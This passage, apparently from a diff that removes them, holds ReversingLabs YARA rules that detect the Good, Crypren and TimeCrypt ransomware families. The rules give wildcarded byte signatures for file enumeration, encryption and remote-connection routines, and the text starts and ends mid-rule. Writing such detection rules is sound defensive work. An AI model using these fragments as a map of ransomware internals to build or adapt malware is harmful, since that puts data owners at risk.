?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? - } - $ol_ecies_key_2 = { - 56 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 53 - E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 - ?? ?? 50 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 59 50 8D 4D ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? - 56 E8 ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 - E8 ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 33 F6 C6 45 ?? ?? 56 50 8D 4D ?? E8 ?? ?? - ?? ?? 56 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 95 ?? ?? ?? ?? 8B CC 89 65 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 53 E8 ?? - ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? - 56 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - } - $ol_ecies_key_3 = { - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? EB 30 83 EC ?? 8D 55 ?? 8B CC 89 65 ?? E8 - ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC BB ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 51 8D 4F ?? - E8 ?? ?? ?? ?? 8D 77 ?? C7 07 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 53 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 46 ?? C6 45 ?? ?? 85 C0 74 05 8D 4E ?? EB 02 33 C9 8D 55 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 8B 06 8B CE FF 50 ?? 6A ?? 68 ?? ?? ?? ?? 8B 08 8B 49 ?? 03 C8 8B 01 FF 50 ?? 53 E8 ?? ?? ?? ?? 59 6A ?? - 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B C7 5F 5E 64 89 0D ?? ?? ?? ?? 5B - 8B E5 5D C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( ( $ol_do_filetypes_1 and $ol_do_filetypes_2 and $ol_do_filetypes_3 ) and ( $ol_ecies_key_1 and $ol_ecies_key_2 and $ol_ecies_key_3 ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Good : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Good ransomware." - author = "ReversingLabs" - id = "e0f97200-7fe9-5811-b6cd-708ecc3a2fbc" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Good.yara#L1-L82" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6737853a77a6008f9fd2141bb6b13d595f1cb7e832be944596f709e1fcdf8003" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Good" - tc_detection_factor = 5 - importance = 25 - - strings: - $find_files = { - FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D - 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E - 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 - C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8B 3D ?? ?? ?? - ?? 33 C0 66 89 45 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? - ?? ?? ?? ?? FF D7 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 8B D8 83 FB ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 5F 5E 5B 8B E5 5D C3 - } - $remote_connection = { - 55 8B EC 53 8B 5D ?? 57 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8B 0F 8B - C1 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4F ?? 83 C4 ?? 8B C1 83 E8 ?? 74 ?? 83 - E8 ?? 74 ?? 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? - ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? 83 F8 ?? 77 ?? FF 24 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? A8 ?? 74 ?? - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 83 7F ?? ?? 75 ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 FF - 77 ?? FF 15 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 FF 77 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 45 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 5E FF 77 ?? 53 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5B - 5D C3 - } - $encrypt_files = { - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B C8 8B F2 83 C4 ?? 2B CE 8D 71 ?? - 66 90 0F B7 0A 8D 52 ?? 66 89 4C 32 ?? 66 85 C9 75 ?? 50 FF 35 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 8B 35 ?? ?? ?? ?? 47 89 7D ?? E9 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 - 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? - 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 53 - FF D6 8B 3D ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? - 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 53 - FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 - 5D C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $remote_connection ) -} -rule REVERSINGLABS_Win32_Ransomware_Crypren : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Crypren ransomware." - author = "ReversingLabs" - id = "9a6ff190-b26b-5b75-9103-95a3b2e80701" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Crypren.yara#L1-L144" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7047d48782762e42544063fde6f2be62eb19f22853ea84abb5bce67c962da172" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Crypren" - tc_detection_factor = 5 - importance = 25 - - strings: - $enum_directories_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 - 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 - 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - } - $enum_directories_p2 = { - 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 - 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 - } - $enum_directories_p3 = { - 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 - ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D BD ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 90 83 7F ?? ?? 8B 5F ?? 72 ?? 8B 37 EB ?? 8B F7 83 7D ?? ?? 8D - 45 ?? 8B D3 0F 43 45 ?? 3B CB 0F 42 D1 85 D2 74 ?? 83 EA ?? 72 ?? 8D 9B ?? ?? ?? ?? - 8B 08 3B 0E 75 ?? 83 C0 ?? 83 C6 ?? 83 EA ?? 73 ?? 83 FA ?? 74 ?? 8A 08 3A 0E 75 ?? - 83 FA ?? 74 ?? 8A 48 ?? 3A 4E ?? 75 ?? 83 FA ?? 74 ?? 8A 48 ?? 3A 4E ?? 75 ?? 83 FA - ?? 74 ?? 8A 40 ?? 3A 46 ?? 74 ?? 1B C0 83 C8 ?? EB ?? 33 C0 8B 4D ?? 85 C0 75 ?? 3B - CB 73 ?? 83 C8 ?? EB ?? 33 C0 3B CB 0F 95 C0 85 C0 0F 94 C0 84 C0 75 ?? 8B 85 ?? ?? - ?? ?? 83 C7 ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? B3 ?? EB ?? 32 DB 68 - ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? - 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E - 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 33 FF C6 45 ?? ?? 83 7D ?? ?? 8D 45 ?? 6A - ?? 0F 43 45 ?? 8D 8D ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? - 0F 43 45 ?? 8D 8D ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8B - 94 0D ?? ?? ?? ?? 85 D2 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 39 BC 05 ?? ?? - ?? ?? 0F 85 ?? ?? ?? ?? F6 C2 ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 03 C8 8D 45 ?? - 50 E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? C6 45 ?? ?? 8B F0 - 85 C9 74 ?? 8B 11 FF 52 ?? 85 C0 74 ?? 8B 10 8B C8 6A ?? FF 12 8B 06 8B CE 6A ?? 8B - 40 ?? FF D0 88 45 ?? 8D 45 ?? FF 75 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 39 75 ?? 76 ?? EB ?? 8D A4 24 - ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 45 ?? 83 7D ?? ?? 0F 43 4D ?? 33 D2 - } - $encrypt_files_p2 = { - 0F BE 1C 30 8B C7 F7 75 ?? 8A 0C 0A 0F BE C1 03 C3 3D ?? ?? ?? ?? 7C ?? 25 ?? ?? ?? - ?? 79 ?? 48 0D ?? ?? ?? ?? 40 EB ?? 02 D9 0F B6 C3 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 46 83 C4 ?? 47 3B 75 ?? 72 ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 8B 48 ?? F6 84 0D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? - ?? ?? 83 C4 ?? 83 7D ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 72 - ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D - ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C6 45 ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D - ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $enum_drives_p1 = { - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 - } - $enum_drives_p2 = { - E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 - 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D - 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 - ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 - } - - condition: - uint16( 0 ) == 0x5A4D and ( ( all of ( $enum_directories_p* ) ) and ( all of ( $enum_drives_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) -} -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timecrypt : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects TimeCrypt ransomware." - author = "ReversingLabs" - id = "38a0c383-8be6-5258-aa93-0cf09b18e5f7" - date = "2021-12-06" - modified = "2021-12-06" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.TimeCrypt.yara#L1-L69" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6849d6d5010d7bcb4052c10d5bd7cc29320ffc986f36289b272a1e9a8d14fab9" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "TimeCrypt" - tc_detection_factor = 5 - importance = 25 - - strings: - $find_files = { - 7E ?? ?? ?? ?? 0A 16 0B 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 08 06 07 9A 7D ?? ?? ?? ?? 73 - ?? ?? ?? ?? 0D 09 08 7D ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 - 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? - ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 7B ?? ?? - ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? 